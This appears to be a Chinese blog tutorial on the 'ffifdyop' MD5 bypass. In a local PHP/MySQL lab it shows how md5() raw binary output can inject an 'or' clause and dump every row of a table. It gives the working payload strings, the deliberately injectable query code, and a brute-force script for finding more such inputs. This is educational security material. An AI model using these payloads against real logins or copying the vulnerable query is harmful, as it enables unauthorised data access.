• MD5 绕过第三式:ffifdyop


    参考

    项目描述
    搜索引擎BingGoogle
    AI 大模型文心一言通义千问讯飞星火认知大模型ChatGPT
    PHP 手册PHP Manual
    MySQL Documentationhttps://dev.mysql.com/doc/
    菜鸟教程MySQL 教程
    C 语言中文网PHP正则表达式,看这一篇就够了

    环境

    项目描述
    PHP8.0.0
    SQL Version8.0.33 MySQL Community Server - GPL

    推荐阅读

    雾现

    两个 PHP 文件

    db_info.php

    
    
    
    // 定义与数据库相关的常量
    # 提供运行 MySQL 服务的服务器地址
    const HOSTNAME = 'localhost';
    # 登录 MySQl 服务器使用的用户名
    const USERNAME = 'root';
    # 登录用户 root 的密码
    const PASSWORD = '123456';
    # 连接 MySQL 后需要使用到的数据库
    const DATABASE = 'db_test';
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    search.php

    
    
    
    # 包含文件以获取登录服务器所需要使用到的常量
    include_once('./db_info.php');
    
    # 模拟用户输入
    $user_input = 'User Input';
    
    # 尝试连接数据库,若连接失败则立即终止程序
    $db = mysqli_connect(HOSTNAME, USERNAME, PASSWORD, DATABASE) or die();
    
    # 构造 SQL 查询语句
    $qs = "SELECT * FROM data WHERE username = 'admin' and password ='" . md5($user_input, true) . "';";
    # 向 MySQL 发起查询操作
    $result = mysqli_query($db, $qs);
    
    # 向 MySQL 获取查询结果
    while ($content = mysqli_fetch_assoc($result)) {
        var_dump($content);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    上述 PHP 代码分别是 db_info.phpsearch.php 文件中的内容。其中,db_info.php 文件保存了通过 PHP 插件 mysqli 连接 MySQL 所需要的信息。而 test.php 则尝试连接 MySQL,并在连接后向 MySQL 发起查询以获取所需要的数据。

    表结构

    在本示例中,我们使用到的数据库db_test,使用到的表是 data

    在终端中使用如下语句以获取表 data 的创建信息:

    SHOW CREATE TABLE data\G
    
    • 1

    得到如下内容:

    *************************** 1. row ***************************
           Table: data
    Create Table: CREATE TABLE `data` (
      `username` varchar(25) DEFAULT NULL,
      `password` varbinary(16) DEFAULT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci
    1 row in set (0.00 sec)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    由输出可知,data 中包含两个字段,分别为 usernamepasswordusername 使用 varchar(25) 作为其数据类型,这意味着 username 字段至多可以接受 25字符 作为该字段的值。而 password 使用 binary(16) 作为其数据类型,着意味着 password 字段至多可以接收 16 字节的 二进制数据 作为该字段的值。

    尝试查询 data 表中的所有数据

    在终端中执行如下语句:

    SELECT * FROM data;
    
    • 1

    得到如下结果:

    +----------+------------------------------------+
    | username | password                           |
    +----------+------------------------------------+
    | admin    | 0x1E6947AC7FB3A9529A9726EB692C8CC5 |
    | RedHeart | 0xDC04139732D12110E885BA1C703B3C42 |
    +----------+------------------------------------+
    2 rows in set (0.00 sec)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    分析

    search.php 文件中,我们的重点是如下代码片段。

    # 构造 SQL 查询语句
    $qs = "SELECT * FROM data WHERE username = 'admin' and password ='" . md5($user_input, true) . "';";
    # 向 MySQL 发起查询操作
    $result = mysqli_query($db, $qs);
    
    • 1
    • 2
    • 3
    • 4

    search.php 尝试向 MySQL 发起查询,向 data 表中查询 username 字段为 admin 以及 passwordmd5($user_input, true) 函数的二进制加密结果的行记录。其中,$user_input 变量用于模拟用户的输入。我们的目标便是 通过构造合适的用户输入,使得查询操作能够获取到 data 表中的所有内容

    注:

    在现代科技的攻势下,MD5 的哈希结果已经能够在 数小时内找到能够产生哈希碰撞的另一原始数据值🧙🏻‍♂️,所以请使用安全系数更高的哈希函数来加密密码吧。

    雾散

    ASCII 编码

    ASCII(American Standard Code for Information Interchange) 是一种字符编码标准,用于 将文本字符映射到数值ASCII 最早🤞在计算机领域中广泛使用,它定义了 128 个不同的字符,包括 控制字符(如换行和回车) 以及 可打印字符(如字母、数字、标点符号等)。ASCII 定义的每个字符都被分配了一个 唯一的整数值,范围从 0127

    注:

    世界上存在许多的编码方案,但这些方案大多是 基于 ASCII 编码进行扩展的🌹,因此 ASCII 编码也被认为是 字符编码的基础

    二进制数据到 ASCII 文本的转化

    PHP 中的 md5() 函数在第二个参数为 true 时会将 MD5 哈希结果以二进制数据 的形式进行返回,因 MD5 函数的返回值类型为 字符串,故在返回结果前,二进制数据将使用 ASCII 进行 解码(二进制数据到文本字符的转化)。对此,请参考如下示例:

    
    
    
    var_dump(md5('Hello World', true));
    
    • 1
    • 2
    • 3
    • 4

    执行效果

    其中:

    1. 由四边形包裹的问号
      一个字节能够表示的十进制数的范围为 0~255,而 ASCII 中的字符的编号范围为 0~127,两者的范围不对等。因此,当一个字节所表示的十进制数在 128~255 时,该字节将使用 四边形包裹的问号(不同的环境可能有不同的表现方式) 表示。
    2. ASCII 字符
      字节的 十进制数表示0~127 时,均使用 ASCII 中相应的字符进行表示。
    3. 小而多(容量大,包含几个字符)的方块字
      ASCII 字符中存在一部分 控制字符,这些字符起着控制作用,由于 没有这些字符的具体表现形式,所以使用 表示这些控制字符的英文缩写的方块字 来展现这些字符。
    4. 在上述内容中存在一个换行,这是由于某个字节转化为 ASCII 字符后得到了 可打印字符——换行符所产生的效果。

    绕过原理

    二进制数据会被转化为 ASCII 字符✨,如果某一个字符串在经过 MD5 哈希后,得到的二进制数据转化为 ASCII 文本后恰能够与周围的文本形成 SQL 注入语句,那么我们就能够绕过限制,成功发起攻击😈。

    ffifdyop

    在此类绕过实践中,ffifdyop 就是一个得力的工具。对此,请参考如下示例:

    
    
    
    var_dump(md5('ffifdyop', true));
    
    • 1
    • 2
    • 3
    • 4

    执行效果

    string(16) "'or'6�]��!r,��b"
    
    • 1

    ffifdyop 经过两次转化后得到的结果是 'or'6�]��!r,��b。位于 or 两侧的单引号可以用于闭合两端的单引号,使得 or 不再被 MySQL 认为是字符串,而是一个关键字,发挥着 逻辑或运算符 的作用。

    绕过

    尝试将 search.php 文件中的 $user_input 赋值为 ffifdyop

    
    
    
    # 包含文件以获取登录服务器所需要使用到的常量
    include_once('./db_info.php');
    
    # 模拟用户输入
    $user_input = 'ffifdyop';
    
    # 尝试连接数据库,若连接失败则立即终止程序
    $db = mysqli_connect(HOSTNAME, USERNAME, PASSWORD, DATABASE) or die();
    
    # 构造 SQL 查询语句
    $qs = "SELECT * FROM data WHERE username = 'admin' and password ='" . md5($user_input, true) . "';";
    # 输出构造结果,便于分析
    var_dump($qs);
    # 向 MySQL 发起查询操作
    $result = mysqli_query($db, $qs);
    
    
    # 向 MySQL 获取查询结果
    while ($content = mysqli_fetch_assoc($result)) {
        var_dump($content);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    执行效果

    由于 WHERE 关键字后的条件语句 username = '' and password =''or'6�]��!r,��b' 对于表中的每一个字段都为 true,因此我们成功的实现了 SQL 注入,获得了 data 表中的所有数据。

    string(77) "SELECT * FROM data WHERE username = 'admin' and password =''or'6�]��!r,��b';"
    array(2) {
      ["username"]=>
      string(5) "admin"
      ["password"]=>
      string(16) "iG���R��&�i,��"
    }
    array(2) {
      ["username"]=>
      string(8) "RedHeart"
      ["password"]=>
      string(16) "��2�!腺p;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    ffifdyop 的批量化生产

    批量化生产

    除了 ffifdyop 外,还存在许多类似的文本。对此,请参考如下示例:

    
    
    
    var_dump(md5(`16529176061`, true));
    var_dump(md5(5207660362, true));
    var_dump(md5('ffifdyop', true));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    执行效果

    string(16) "'OR'1q1uMp$��7"
    string(16) "@;-V'or'2�9D��"
    string(16) "'or'6�]��!r,��b"
    
    • 1
    • 2
    • 3

    要获得更多像 ffifdyop 这样的文本仅需要编写适当的程序。这个程序需要 产生许多文本并在随后对这些文本进行 MD5 哈希及 ASCII 的转化,最后设计从中挑选符合某一规则的文本 即可。至于需要符合的某一规则,可以是包含 ' or ' 的文本👹。

    注意事项

    细节
    一字之差

    在继续讲解前,请先观察如下两条 SQL 语句及其查询结果:

    mysql> SELECT * FROM data WHERE username = 'admin' and password = 'Random' or '1Hello';
    +----------+------------------------------------+
    | username | password                           |
    +----------+------------------------------------+
    | admin    | 0x1E6947AC7FB3A9529A9726EB692C8CC5 |
    | RedHeart | 0xDC04139732D12110E885BA1C703B3C42 |
    +----------+------------------------------------+
    2 rows in set, 1 warning (0.00 sec)
    
    mysql> SELECT * FROM data WHERE username = 'admin' and password = 'Random' or 'Hello';
    Empty set, 1 warning (0.00 sec)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    两条 SQL 查询语句 仅仅存在一字之差。使用 '1Hello' 却成功实现了 SQL注入,而使用 'Hello' 却什么也没有获得。

    运算符优先级

    在 MySQL 中,运算符之间是存在优先级的。在进行运算过程中,运算符优先级更高的运算优先进行。在同时存在 =andor 的运算中,MySQL 将优先处理 =,其次 and,最后 or

    username = 'admin' and password = 'Random' or 'Hello'
    
    • 1

    在上述运算中,username = 'admin'password = 'Random' 将被优先运算,但由于字段与相应字段值均不相符,故两者的运算结果均为 falsefalse and false 的结果也是 false。最后,false or 'Hello' 该如何进行?

    false or 'Hello' 中,'Hello' 将被转化为布尔值。依据 MySQL 相关的转化规则,以 非零数值开头的字符串 都将被转化为 true,其他字符串则被转化为 false。于是一字之差决定了成败🧐。

    实际需要遵守的规则

    因此在 ffifdyop 的批量化生产中,挑选的规则不是只是包含 ' or ' 的文本,而应该是:

    包含 ' or ' 的文本,且 第二个引号的右侧的第一个字符需要是数字字符(0 ~ 9)

    生产机器

    依据 类 ffifdyop 文本 的挑选规则,我们编写了如下 PHP 脚本:

    
    
    
    const MAX_EDGE = 9999999999;
    
    for ($i=0; $i<MAX_EDGE; $i++) {
        if (preg_match("/'\s*or\s*'\d+/i", md5($i, true))) {
            print("\n" . $i . "\n");
        } else {
            # pass
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    在上述文本中,我们尝试通过使用循环变量 $i 作为可能的 ffifdyop 文本。在每一轮循环中,我们都将通过 preg_match() 提供的 正则表达式 来判断 $iMD5 哈希结果值的 ASCII 形式 中是否符合 规定的文本模式,若符合则将其输出至终端中。

  • 相关阅读:
    CRM客户关系管理系统源码跟单销售公司订单跟进客户公海合同管理办公erp客户管理(小程序+APP+H5)
    【Mysql】 InnoDB引擎深入 - 数据页 | 聚集索引
    Chrome插件精选 — 扩展管理插件
    思想茶叶蛋 (Aug 20,2022)| 网传B站hr说用户是loser、互联网之父的救赎和Web3.0
    基于Yolov8的NEU-DET钢材表面缺陷检测,优化组合新颖程度较高:CVPR2023 PConv和BiLevelRoutingAttention,涨点明显
    天玑9000盘活联发科高端市场增长,天玑9200有望站稳旗舰继续破局
    电源modbus 485 测试方法之功能选择
    WPF 入门教程数据绑定(一)
    Servlet--HttpServletRequest类、请求转发对象、常用方法
    机器学习之集成学习算法简介
  • 原文地址:https://blog.csdn.net/qq_44879989/article/details/133363370